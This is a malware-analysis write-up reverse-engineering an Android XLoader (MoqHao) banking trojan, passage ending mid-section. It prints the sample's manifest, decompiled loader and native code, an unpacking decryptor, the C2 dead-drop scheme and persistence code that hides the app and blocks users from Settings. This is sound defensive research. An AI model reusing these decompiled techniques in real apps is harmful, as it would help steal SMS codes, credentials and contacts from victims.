Reversing an Android XLoader (MoqHao) variant
Table of contents
- Table of contents
- Introduction
- Executive summary
- Detailed analysis
- Appendix
Introduction
In this post we will analyze an Android sample tagged as xloader. XLoader is a famous information stealer. For the static analysis we will use jadx and Ghidra, since it contains native code as well. We will also implement YARA rules to detect the malware and Java code to unpack the embedded payload.
Executive summary
The analyzed sample is an XLoader (also known as MoqHao) Android banking trojan. It uses a loader APK that decrypts and runs an encrypted DEX payload at runtime. To hide its real C2 server, it pulls the address from Pinterest profile pages (dead-drops). After connection, it talks to the C2 over WebSocket. The malware mainly goes after Japanese and Korean users, showing fake banking pages and dialogs to steal credentials, credit card info and NPKI certificates. It can intercept and forward SMS messages (can grab OTPs for example), record phone calls, steal photos and harvest contacts. It disguises itself as a delivery app (Japan Post) and asks to become the default SMS app to catch all incoming messages.
Detailed analysis
Let’s shorten the binary name first so it is easier to work with in the following chapters.
$ mv 02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921.apk xloader.apk
Hashes
$ md5sum < xloader.apk
6f6ae14e50bf1a55cf414cb95e4570c4 -
$ sha1sum < xloader.apk
2692561db1cc2604f068d90b108ec5604d76b969 -
$ sha256sum < xloader.apk
02c08ec2675abe6e09691419dd1a281194879c6e393de1cdfb150b864378d921 -
Overview
file does not recognize it as an APK file:
$ file xloader.apk
xloader.apk: Java archive data (JAR)
This is because the APK signing block is missing (it is only v1 signed). This means it cannot target Android 11 (API level 30) or higher:
$ apksigner verify -v xloader.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Verified using v3 scheme (APK Signature Scheme v3): false
Verified using v3.1 scheme (APK Signature Scheme v3.1): false
Verified using v4 scheme (APK Signature Scheme v4): false
Verified for SourceStamp: false
Number of signers: 1
Static analysis (jadx + Ghidra)
Since the APK contains both managed and native code, we need both jadx and Ghidra. The app contains a native library strictly for obfuscation purposes, not for performance reasons.
Before looking at the packages, it is a good idea to briefly check AndroidManifest.xml.
AndroidManifest.xml
Note: The full manifest file is available below.
ACCESS_WIFI_STATE: Allows applications to access information about Wi-Fi networks.CHANGE_NETWORK_STATE: Allows applications to change network connectivity state.CALL_PHONE: Allows an application to initiate a phone call without going through the Dialer user interface for the user to confirm the call.WRITE_EXTERNAL_STORAGE: Allows an application to write to external storage.READ_EXTERNAL_STORAGE: Allows an application to read from external storage.ACCESS_NETWORK_STATE: Allows applications to access information about networks.MODIFY_AUDIO_SETTINGS: Allows an application to modify global audio settings.RECEIVE_BOOT_COMPLETED: Allows an application to receive theIntent.ACTION_BOOT_COMPLETEDthat is broadcast after the system finishes booting.WAKE_LOCK: Allows using PowerManager WakeLocks to keep processor from sleeping or screen from dimming.INTERNET: Allows applications to open network sockets.RECEIVE_SMS: Allows an application to receive SMS messages.READ_SMS: Allows an application to read SMS messages.SEND_SMS: Allows an application to send SMS messages.SYSTEM_ALERT_WINDOW: Allows an app to create windows using the typeWindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, shown on top of all other apps. Very few apps should use this permission; these windows are intended for system-level interaction with the user.READ_CONTACTS: Allows an application to read the user’s contacts data.READ_PHONE_STATE: Allows read-only access to phone state, including the current cellular network information, the status of any ongoing calls, and a list of anyPhoneAccountsregistered on the device.GET_ACCOUNTS: Allows access to the list of accounts in the Accounts Service.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS: Permission an application must hold in order to useSettings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS.
Since the targeted SDK is version 21, no permission needs to be requested at runtime, only in the manifest.
Interestingly, there are some garbage permissions. They might serve some other purpose (e.g. identification) because they are ignored by Android.
<uses-permission android:name="sedv.yfem.nfjzi"/>
<uses-permission android:name="pfoph.ryxrplq.dyek"/>
<uses-permission android:name="rzcad.qkwoooz.ualxq"/>
<uses-permission android:name="bcemr.fjshnci.xfanv"/>
<uses-permission android:name="qrzsznko.gsgeyz.fztiy"/>
<uses-permission android:name="pphnxshu.bhxe.rxgklxny"/>
The "日本邮便" label and the app icon suggest it is disguised as a Japan Post app:

An alias is defined with an empty label "" and an invisible icon with 0% opacity:
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android">
<solid android:color="#00888888"/>
</shape>
This icon can be set in the code via setComponentEnabledSettings().
There are a service (gf6h8y8.Ux) and a receiver (gf6h8y8.Ry) implemented, possibly for persistence. The receiver is triggered after a device restart or a network state change.
<service android:name="gf6h8y8.Ux"/>
<receiver android:name="gf6h8y8.Ry">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
</intent-filter>
</receiver>
The app declares the components necessary to be considered as a default messaging app:
-
In a broadcast receiver, include an intent filter for
SMS_DELIVER_ACTION("android.provider.Telephony.SMS_DELIVER"). The broadcast receiver must also require theBROADCAST_SMSpermission.This allows your app to directly receive incoming SMS messages.
Component:
gf6h8y8.Jz -
In a broadcast receiver, include an intent filter for
WAP_PUSH_DELIVER_ACTION("android.provider.Telephony.WAP_PUSH_DELIVER") with the MIME type"application/vnd.wap.mms-message". The broadcast receiver must also require theBROADCAST_WAP_PUSHpermission.This allows your app to directly receive incoming MMS messages.
Component:
gf6h8y8.Li -
In your activity that delivers new messages, include an intent filter for
ACTION_SENDTO("android.intent.action.SENDTO") with schemas,sms:,smsto:,mms:, andmmsto:.This allows your app to receive intents from other apps that want to deliver a message.
Component:
gf6h8y8.Ap.mms:andmmsto:are missing, so the app does not handle MMSs. -
In a service, include an intent filter for
ACTION_RESPONSE_VIA_MESSAGE("android.intent.action.RESPOND_VIA_MESSAGE") with schemas,sms:,smsto:,mms:, andmmsto:. This service must also require theSEND_RESPOND_VIA_MESSAGEpermission.This allows users to respond to incoming phone calls with an immediate text message using your app.
Component:
gf6h8y8.Yi.mms:andmmsto:are missing, so the app does not handle MMSs.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="10"
android:versionName="328"
android:compileSdkVersion="23"
android:compileSdkVersionCodename="6.0-2438415"
package="qqfzq.oeoop.lr.xnzcwr"
platformBuildVersionCode="23"
platformBuildVersionName="6.0-2438415">
<uses-sdk
android:minSdkVersion="18"
android:targetSdkVersion="21"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="sedv.yfem.nfjzi"/>
<uses-permission android:name="pfoph.ryxrplq.dyek"/>
<uses-permission android:name="rzcad.qkwoooz.ualxq"/>
<uses-permission android:name="bcemr.fjshnci.xfanv"/>
<uses-permission android:name="qrzsznko.gsgeyz.fztiy"/>
<uses-permission android:name="pphnxshu.bhxe.rxgklxny"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<application
android:label="日本邮便"
android:icon="@drawable/ic_launcher"
android:name="gf6h8y8.GNuApplication">
<activity
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen"
android:name="gf6h8y8.CrActivity"
android:exported="true"
android:excludeFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity-alias
android:label=""
android:icon="@drawable/t"
android:name="b.c.a"
android:exported="true"
android:targetActivity="gf6h8y8.CrActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity-alias>
<service android:name="gf6h8y8.Ux"/>
<receiver android:name="gf6h8y8.Ry">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
</intent-filter>
</receiver>
<receiver
android:name="gf6h8y8.Jz"
android:permission="android.permission.BROADCAST_SMS"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
</intent-filter>
</receiver>
<receiver
android:name="gf6h8y8.Li"
android:permission="android.permission.BROADCAST_WAP_PUSH"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
<data android:mimeType="application/vnd.wap.mms-message"/>
</intent-filter>
</receiver>
<activity
android:name="gf6h8y8.Ap"
android:exported="true"
android:excludeFromRecents="true"
android:launchMode="singleInstance">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
</intent-filter>
</activity>
<service
android:name="gf6h8y8.Yi"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
</intent-filter>
</service>
</application>
</manifest>
gf6h8y8.GNuApplication
This class is heavily obfuscated via native calls and is mainly responsible for loading the payload. The native functions are detailed in the Native code chapter.
The onCreate method is called when the application is starting, before any activity, service, or receiver objects (excluding content providers) have been created.
Main steps:
- Load native library (
libvg.so). - Decrypt payload from
assets/mvmc/*(XOR + zlib inflate). - Write DEX to
/data/data/qqfzq.oeoop.lr.xnzcwr/files/b. - Create
DexClassLoaderwith optimized dir/data/data/qqfzq.oeoop.lr.xnzcwr/files/mvmc. - Load class
com.Loaderfrom DEX. - Call
create()on the loaded class. - Store instance in
this.a(for later use).
Note:
getFilesDir()returns the application path in the following format:/data/data/<package>/files.
Note: The short summary of the native (
ni.*) functions has been added manually for better understanding.
package gf6h8y8;
import android.app.Application;
import s.ni;
/* loaded from: classes.dex */
public class GNuApplication extends Application {
public Object a;
public Class b;
private void a(Object obj) {
Class cls = (Class) ni.oa(ni.ls(1), obj, 1, true, 0, false, 1); /*
* ni.oa: return obj.loadClass(str)
* ni.ls(1): return "com.Loader"
*/
this.b = cls;
this.a = ni.iz(cls); // ni.iz: return cls.create()
}
private void b(String str, Object obj) {
String strOq = ni.oq(this, 1, "", true); // ni.oq: return obj.getFilesDir().getAbsolutePath()
String strOm = ni.om(strOq, "b"); // ni.om: return str + "/" + str2
e(strOm, obj);
a(f(0, str, strOq, strOm));
}
private void c(Object obj) {
b(obj.toString(), ni.pi(this, obj, 1, false, "")); // ni.pi: decrypt payload from assets/mvmc/*
}
private void d() {
System.loadLibrary("vg");
c("mvmc");
}
private static Object e(String str, Object obj) {
return ni.or(str, obj, 0); // ni.or: write obj to file (str)
}
private Object f(int i, String str, String str2, String str3) {
return ni.mz(str3, ni.om(str2, str).toString(), 1, false); // ni.mz: return new DexClassLoader(str, str2, null, null)
}
@Override // android.app.Application
public void onCreate() {
super.onCreate();
try {
d();
} catch (Throwable unused) {
}
}
}
Native code
Android uses the JNI to call native functions from the managed code and vice versa. The following chapters are the most important ones to understand the calling convention:
Additionally, we need to retype the parameters passed to the native functions in order to be able to read and understand the native code. For this purpose, we can use this .gdt file.
For example, this is what Java_s_ni_ob (ni.ob on the Java side) looks like with and without the proper types applied.
Before:
void Java_s_ni_ob(_jclass *param_1,undefined4 param_2,_jmethodID *param_3,undefined4 param_4)
{
_jmethodID *p_Var1;
undefined4 uVar2;
undefined4 uVar3;
undefined1 *puVar4;
puVar4 = &stack0xfffffff8;
p_Var1 = (_jmethodID *)(**(code **)(*(int *)param_1 + 0x18))(param_1,"android/content/Intent");
uVar2 = (**(code **)(*(int *)param_1 + 0x84))
(param_1,p_Var1,"<init>","(Landroid/content/Context;Ljava/lang/Class;)V");
uVar2 = _JNIEnv::NewObject(param_1,p_Var1,uVar2,param_3,param_4,puVar4);
uVar3 = (**(code **)(*(int *)param_1 + 0x7c))(param_1,param_3);
uVar3 = (**(code **)(*(int *)param_1 + 0x84))
(param_1,uVar3,"startService",
"(Landroid/content/Intent;)Landroid/content/ComponentName;");
_JNIEnv::CallObjectMethod((_jobject *)param_1,param_3,uVar3,uVar2);
return;
}
After:
void Java_s_ni_ob(JNIEnv *env,jclass clazz,jobject obj,jobject obj2)
{
jclass p_Var1;
jmethodID p_Var2;
undefined4 uVar3;
undefined1 *puVar4;
puVar4 = &stack0xfffffff8;
p_Var1 = (*(*env)->FindClass)(env,"android/content/Intent");
p_Var2 = (*(*env)->GetMethodID)
(env,p_Var1,"<init>","(Landroid/content/Context;Ljava/lang/Class;)V");
uVar3 = _JNIEnv::NewObject((_jclass *)env,(_jmethodID *)p_Var1,p_Var2,obj,obj2,puVar4);
p_Var1 = (*(*env)->GetObjectClass)(env,obj);
p_Var2 = (*(*env)->GetMethodID)
(env,p_Var1,"startService",
"(Landroid/content/Intent;)Landroid/content/ComponentName;");
_JNIEnv::CallObjectMethod((_jobject *)env,(_jmethodID *)obj,p_Var2,uVar3);
return;
}
The full list of the decompiled native functions is available in the Appendix.
gf6h8y8.CrActivity
As we saw in the manifest file, after gf6h8y8.GNuApplication, the gf6h8y8.CrActivity activity is instantiated. Similarly to the application, this means that the onCreate method is called.
In onCreate, Ux.c is called and then the app is disabled (setComponentEnabledSetting) and closed (finish).
package gf6h8y8;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import s.ni;
/* loaded from: classes.dex */
public class CrActivity extends Activity {
private static Object a(String str, String str2, boolean z, int i, boolean z2, String str3) {
return ni.qc(str, str2, 1L, str3, 3, false, 0); // ni.qc: return new ComponentName(str, str2);
}
private static Object b(Context context) {
return ni.pe(context, 0); // ni.pe: return obj.getPackageManager();
}
@Override // android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Ux.c(this);
Object[] objArr = new Object[2];
try {
Object objB = b(this);
objArr[1] = a(getPackageName(), CrActivity.class.getName(), false, 0, false, "0");
objArr[0] = objB;
} catch (Exception unused) {
}
ni.jz("", objArr, "0"); /*
* ni.jz:
* public static void jz(String unused, Object[] objArr) {
* PackageManager pm = (PackageManager) objArr[0];
* ComponentName component = (ComponentName) objArr[1];
*
* pm.setComponentEnabledSetting(
* component,
* 2, // COMPONENT_ENABLED_STATE_DISABLED
* 1 // DONT_KILL_APP
* );
* }
*/
finish();
}
}
Ux
As we saw earlier, Ux.c is called in gf6h8y8.CrActivity where Ux is a service. It is started via startService which results in the service being instantiated and its onCreate is called.
After that, the start method of the previously loaded and instantiated com.Loader class is executed.
It also tries to set up persistence by restarting the service every 22 seconds, but this mechanism is either broken or disabled on purpose. AlarmManager.set is called with value 4 which is invalid. The valid values are:
RTC_WAKEUP: 0RTC: 1ELAPSED_REALTIME_WAKEUP: 2ELAPSED_REALTIME: 3
package gf6h8y8;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.os.SystemClock;
import qqfzq.oeoop.lr.xnzcwr.R;
import s.ni;
/* loaded from: classes.dex */
public class Ux extends Service {
static boolean a;
private void a(Intent intent) {
if (a) {
return;
}
a = true;
try {
Object[] objArr = {((GNuApplication) getApplication()).a, this, intent, new int[]{R.drawable.ic_launcher, R.layout.main, R.id.textView}};
ni.pq(objArr[0], objArr[1], objArr[2], objArr[3], "", 0, 1L, true, 0, 1L, "0"); // ni.pq: obj.start(obj2, obj3, obj4);
ni.op(getSystemService("alarm"), this, new Intent(getClass().getName()), b(), true, 0, "", 1); /*
* ni.op:
* public static void op(AlarmManager obj, Context obj2, Intent obj3, long j, boolean z, int i) {
* PendingIntent pendingIntent = PendingIntent.getBroadcast(obj2, 0, obj3, 0);
* obj.set(4, j, pendingIntent);
* }
*/
} catch (Exception unused) {
}
}
private static long b() {
return SystemClock.elapsedRealtime() + 22000;
}
// ni.ob:
// public static void ob(Context obj, Class<?> obj2) {
// Intent intent = new Intent(obj, obj2);
// obj.startService(intent);
// }
public static void c(Context context) {
try {
ni.ob(context, Ux.class);
} catch (Exception unused) {
}
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
@Override // android.app.Service
public void onCreate() {
a(null);
}
}
com.Loader
At this point it is clear how the payload (com.Loader) is decrypted and executed. Since it is encrypted, we will implement a decryptor.
Decryptor
Note: The decryptor is also available here.
Export the asset 1bmurb1 with jadx and decrypt the payload:
$ java XLoaderDecryptor.java 1bmurb1 payload.dex
Input file size: 202205 bytes
XOR key (offset 11): 0xf6
Decrypted size: 202193 bytes
Decompressed size: 521804 bytes
Found DEX file
Saved to: payload.dex
Now we can load the payload into jadx and analyze it.
import java.io.*;
import java.util.zip.InflaterInputStream;
public class XLoaderDecryptor {
private static final int HEADER_SIZE = 12;
private static final int XOR_KEY_OFFSET = 11; // local_a9 = ajStack_b4[11]
private static final int BUFFER_SIZE = 512; // 0x200
public static void main(String[] args) throws Exception {
String inputFile = args.length > 0 ? args[0] : "1bmurb1";
String outputFile = args.length > 1 ? args[1] : "payload.dex";
/*
* Native:
* p_Var3 = CallObjectMethod(env, obj, getAssets)
* array = CallObjectMethod(env, p_Var3, list, obj2)
* str = GetObjectArrayElement(env, array, 0)
* ... build path: acStack_a8 = obj2 + "/" + str ...
* p_Var3 = CallObjectMethod(env, p_Var3, open, p_Var7)
*/
byte[] data = readFile(inputFile);
System.out.println("Input file size: " + data.length + " bytes.");
/*
* Native:
* p_Var8 = NewByteArray(env, 0xc) // 12-byte header
* CallIntMethod(env, p_Var3, read, p_Var8) // read header
* GetByteArrayRegion(env, p_Var8, 0, 0xc, ajStack_b4) // copy to stack
* // XOR key is at ajStack_b4[11] = local_a9
*/
byte xorKey = data[XOR_KEY_OFFSET];
System.out.println("XOR key (offset 11): 0x" + String.format("%02x", xorKey & 0xFF) + ".");
/*
* Native:
* p_Var8 = NewByteArray(env, 0x200) // 512-byte buffer
* local_c0 = 0; local_bc = 0; local_b8 = 0; // vector init
*
* while ((iVar9 = CallIntMethod(env, p_Var3, read, p_Var8)) >= 0) {
* pjVar10 = GetByteArrayElements(env, p_Var8, 0)
* for (iVar12 = 0; iVar12 < iVar9; iVar12++) {
* // XOR decrypt: pjVar10[iVar12] ^ local_a9
* if (local_bc < local_b8) {
* *local_bc = pjVar10[iVar12] ^ local_a9;
* local_bc++;
* } else {
* vector::push_back_slow_path()
* }
* }
* ReleaseByteArrayElements(env, p_Var8, pjVar10, 0)
* }
* CallVoidMethod(env, p_Var3, close)
*/
byte[] decrypted = new byte[data.length - HEADER_SIZE];
System.arraycopy(data, HEADER_SIZE, decrypted, 0, decrypted.length);
for (int i = 0; i < decrypted.length; i++) {
decrypted[i] ^= xorKey;
}
System.out.println("Decrypted size: " + decrypted.length + " bytes.");
/*
* Native:
* array_00 = NewByteArray(env, local_bc - local_c0)
* SetByteArrayRegion(env, array_00, 0, local_bc - local_c0, local_c0)
*
* // Create ByteArrayInputStream
* p_Var1 = FindClass(env, "java/io/ByteArrayInputStream")
* p_Var11 = GetMethodID(env, p_Var1, "<init>", "([B)V")
* uVar13 = NewObject(env, p_Var1, p_Var11, array_00)
*
* // Create InflaterInputStream
* p_Var3 = createInflateStream(env, ..., uVar13, ...)
* // createInflateStream() does:
* // FindClass("java/util/zip/InflaterInputStream")
* // GetMethodID("<init>", "(Ljava/io/InputStream;)V")
* // NewObject() -> new InflaterInputStream(bais)
*/
ByteArrayInputStream bais = new ByteArrayInputStream(decrypted);
InflaterInputStream inflater = new InflaterInputStream(bais);
/*
* Native:
* local_bc = local_c0; // reset vector position
*
* while ((iVar9 = CallIntMethod(env, p_Var3, read, p_Var8)) >= 0) {
* pjVar10 = GetByteArrayElements(env, p_Var8, 0)
* for (iVar12 = 0; iVar12 < iVar9; iVar12++) {
* // No XOR here - just copy decompressed bytes
* if (local_bc == local_b8) {
* vector::push_back_slow_path()
* } else {
* *local_bc = pjVar10[iVar12];
* local_bc++;
* }
* }
* ReleaseByteArrayElements(env, p_Var8, pjVar10, 0)
* }
* CallVoidMethod(env, p_Var3, close)
*/
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[BUFFER_SIZE];
int bytesRead;
while ((bytesRead = inflater.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
inflater.close();
/*
* Native:
* p_Var8 = NewByteArray(env, local_bc - local_c0)
* SetByteArrayRegion(env, p_Var8, 0, local_bc - local_c0, local_c0)
* vector::~vector() // cleanup
* return p_Var8 // return decrypted DEX bytes
*/
byte[] decompressed = baos.toByteArray();
System.out.println("Decompressed size: " + decompressed.length + " bytes.");
if (decompressed[0] == 'd' && decompressed[1] == 'e' && decompressed[2] == 'x') {
System.out.println("Found DEX file.");
}
writeFile(outputFile, decompressed);
System.out.println("Saved to: " + outputFile + ".");
}
private static byte[] readFile(String path) throws IOException {
FileInputStream fis = new FileInputStream(path);
byte[] data = fis.readAllBytes();
fis.close();
return data;
}
private static void writeFile(String path, byte[] data) throws IOException {
FileOutputStream fos = new FileOutputStream(path);
fos.write(data);
fos.close();
}
}
Payload analysis
This is a sophisticated malware with many capabilities and a lot of code. Therefore, we will not discuss each feature. In some cases, we will look at the callchains only (instead of showing all of the related code) that can be followed to reproduce the analysis and independently verify the results of the upcoming chapters.
Note: This version is used for this analysis. Other versions of jadx might change the decompiled code (e.g. auto-generated names). Additionally, the following setting is changed:
File->Preferences->Decompilation->Code comments level->DEBUG. This is necessary to see the Smali representation for code that cannot be decompiled.
Earlier we saw that 2 methods are called on com.Loader:
create: creates a new instancestart: starts the execution of the various features (detailed below)
...
public static final Object create() {
return Companion.a();
}
...
public final Object a() {
return new Loader();
}
...
C2 communication via WebSocket (WS)
Callchain:
Loader.start()
b() // initiate C2 connection
c.a.d0.a.a().b(new h()) // schedule on IO thread (calls h.run())
Loader.this.g() // resolve C2 URL
com.t.w(new k(mVar)) // retry wrapper (calls k.a())
Locale.getDefault() // get locale (ko=0, ja=1, other=2)
Loader.this.getDefaultAccounts() // "zc|id674309800@vk|id674310752@vk|id674311261@vk"
com.t.g(account) // dispatch to platform resolver
split(account, '@') // ["id674309800", "vk"]
com.t.n(accountId) // VK dead drop resolver
a.b.c(url, "UTF-8", true) // HTTP GET https://m.vk.com/id674309800?act=info
Pattern.compile("ffgtrrt...") // try 12 marker patterns
com.t.d(encoded) // decrypt extracted string
Base64.decode(str, 8) // Base64 decode (URL-safe)
com.t.b(bytes, "Ab5d1Q32") // DES-CBC decrypt
"ws://" + address // format WS URL
aVar.d(strG) // connect WS to C2
RPC handlers
Callchain:
Loader.start()
m()
The following RPC handlers are registered on the client-side:
private final void m() {
this.g.n("sendSms", new r());
this.g.n("setWifi", new c0());
this.g.n("gcont", new f0());
this.g.n("lock", new g0());
this.g.n("bc", new h0());
this.g.n("setForward", new i0());
this.g.n("getForward", new j0());
this.g.n("hasPkg", new k0());
this.g.n("setRingerMode", new l0());
this.g.n("setRecEnable", new s());
this.g.n("reqState", new t());
this.g.n("showHome", new u());
this.g.n("getnpki", v.f377b);
this.g.n("http", w.f381b);
this.g.n("onRecordAction", new x());
this.g.n("call", new y());
this.g.n("get_apps", new z());
this.g.n("ping", new a0());
this.g.n("getPhoneState", new b0());
StringBuilder sb = new StringBuilder();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
d.l.c.i.c(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
sb.append(externalStorageDirectory.getAbsolutePath());
sb.append("/DCIM/Camera");
File file = new File(sb.toString());
this.g.n("get_gallery", new d0(file));
this.g.n("get_photo", new e0(file));
}
Note: This table might not be 100% accurate as some commands have only been investigated briefly. Additionally, some commands (e.g.
lock) might not work, this will be explained later. Since the malware has many capabilities and the codebase is vast, we will focus on the most important capabilities only in the upcoming chapters.
| Command | Class | Implementation |
|---|---|---|
sendSms |
r |
sends SMS via queue |
setWifi |
c0 |
enables/disables WiFi |
gcont |
f0 |
returns ArrayList<HashMap> of contacts with name/phone |
lock |
g0 |
lock/unlock device |
bc |
h0 |
broadcasts SMS to all contacts |
setForward |
i0 |
stores forwarding server string in prefs (SMS forwarding) |
getForward |
j0 |
returns stored forwarding server string |
hasPkg |
k0 |
checks if package is installed |
setRingerMode |
l0 |
AudioManager.setRingerMode(mode) - 0=silent, 1=vibrate, 2=normal |
setRecEnable |
s |
sets call recording flag + adjusts ringer mode |
reqState |
t |
triggers state report to C2 |
showHome |
u |
sets lock mode to lock or schedules TimerTask to repeatedly go HOME every 150ms |
getnpki |
v |
ZIPs /sdcard/NPKI/ directory |
http |
w |
makes HttpURLConnection request with custom method/headers/body, returns [statusCode, headers, body] |
onRecordAction |
x |
ToneGenerator.startTone(key, 150) - plays tone for digits 0-9, *, # |
call |
y |
AudioManager.setRingerMode(0) + startActivity(ACTION_CALL, tel:number) - silently dials number |
get_apps |
z |
returns list of installed packages |
ping |
a0 |
sends ICMP ping to specified host |
getPhoneState |
b0 |
returns map: {imsi, simSerial, androidId, serial} from TelephonyManager |
get_gallery |
d0 |
lists files in /sdcard/DCIM/Camera/ recursively |
get_photo |
e0 |
reads and compresses photo, returns bytes |
Persistence
Callchain:
Loader.start()
this.h.schedule(new v0(context), 0L, 1000L)
Overview:
v0checks the foreground app and returns the user to the home screen if the user opened eitherSettingsorAhnLab V3
public static final class v0 extends TimerTask {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Context f379b;
static final class a implements Runnable {
a() {
}
@Override // java.lang.Runnable
public final void run() {
v0 v0Var = v0.this;
String topActivityName$loader_release = Loader.this.getTopActivityName$loader_release(v0Var.f379b);
if (topActivityName$loader_release != null) {
if (d.p.v.l(topActivityName$loader_release, ".settings", false, 2, null) || d.p.v.l(topActivityName$loader_release, ".ahnlab.v3", false, 2, null)) {
try {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addFlags(268435456);
v0.this.f379b.startActivity(intent);
} catch (Exception unused) {
}
}
}
}
}
v0(Context context) {
this.f379b = context;
}
@Override // java.util.TimerTask, java.lang.Runnable
public void run() {
Loader.this.f214b.post(new a());
}
}
getTopActivityName detects the foreground app either via ActivityManager or UsageStatsManager:
public final String getTopActivityName$loader_release(Context context) {
d.l.c.i.d(context, "context");
try {
if (Build.VERSION.SDK_INT < 21) {
Object systemService = context.getSystemService("activity");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.app.ActivityManager");
}
List<ActivityManager.RunningTaskInfo> runningTasks = ((ActivityManager) systemService).getRunningTasks(100);
if (runningTasks != null) {
Iterator<ActivityManager.RunningTaskInfo> it = runningTasks.iterator();
if (it.hasNext()) {
ComponentName componentName = it.next().topActivity;
d.l.c.i.c(componentName, "f");
return componentName.getPackageName() + "/" + componentName.getClassName();
}
}
return null;
}
long jCurrentTimeMillis = System.currentTimeMillis();
Object systemService2 = context.getSystemService("usagestats");
if (systemService2 == null) {
throw new NullPointerException("null cannot be cast to non-null type android.app.usage.UsageStatsManager");
}
List<UsageStats> listQueryUsageStats = ((UsageStatsManager) systemService2).queryUsageStats(4, jCurrentTimeMillis - 10000, jCurrentTimeMillis);
if (listQueryUsageStats != null && !listQueryUsageStats.isEmpty()) {
UsageStats usageStats = null;
for (UsageStats usageStats2 : listQueryUsageStats) {
if (usageStats != null) {
long lastTimeUsed = usageStats.getLastTimeUsed();
d.l.c.i.c(usageStats2, "usageStats");
if (lastTimeUsed < usageStats2.getLastTimeUsed()) {
}
}
usageStats = usageStats2;
}
if (usageStats != null) {
return usageStats.getPackageName();
}
return null;
}
return null;
} catch (Exception e2) {
e2.printStackTrace();
return null;
}
}
The runnable is executed on the main thread:
public final class Loader {
...
private final Handler f214b = new Handler(Looper.getMainLooper());
Device locking + call blocking
Callchain:
onReceive()
if (d.l.c.i.a(action, "android.intent.action.USER_PRESENT"))
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false))
com.t.v()
((DevicePolicyManager) systemService).lockNow()
if (d.l.c.i.a(action, "android.intent.action.SCREEN_ON"))
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false))
com.t.v()
((DevicePolicyManager) systemService).lockNow()
onCallStateChanged(i, str)
if (i == 1) // CALL_STATE_RINGING
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false))
((com.v.a.a.a) objInvoke).a() // endCall
Overview:
- When
USER_PRESENTorSCREEN_ONevents are received, the malware checks if thelockpreference is enabled. If true, it immediately re-locks the device usingDevicePolicyManager.lockNow(). - When an incoming call is detected (
CALL_STATE_RINGING), iflockis enabled, the calls are rejected usingITelephony.endCall()via reflection.
Note: Based on the implementation, this feature is not working (this has not been verified with dynamic analysis). According to the official docs, there should be a
DeviceAdminReceiversubclass, the permissionBIND_DEVICE_ADMINand theACTION_DEVICE_ADMIN_ENABLEDintent-filter present. But all of them are missing.
g0 is the RPC handler registered for the lock command. b extracts the params array (which contains either a true or false) and passes it to a. a then saves the boolean to the preferences and if it is true, locks the device immediately.
static final class g0 extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
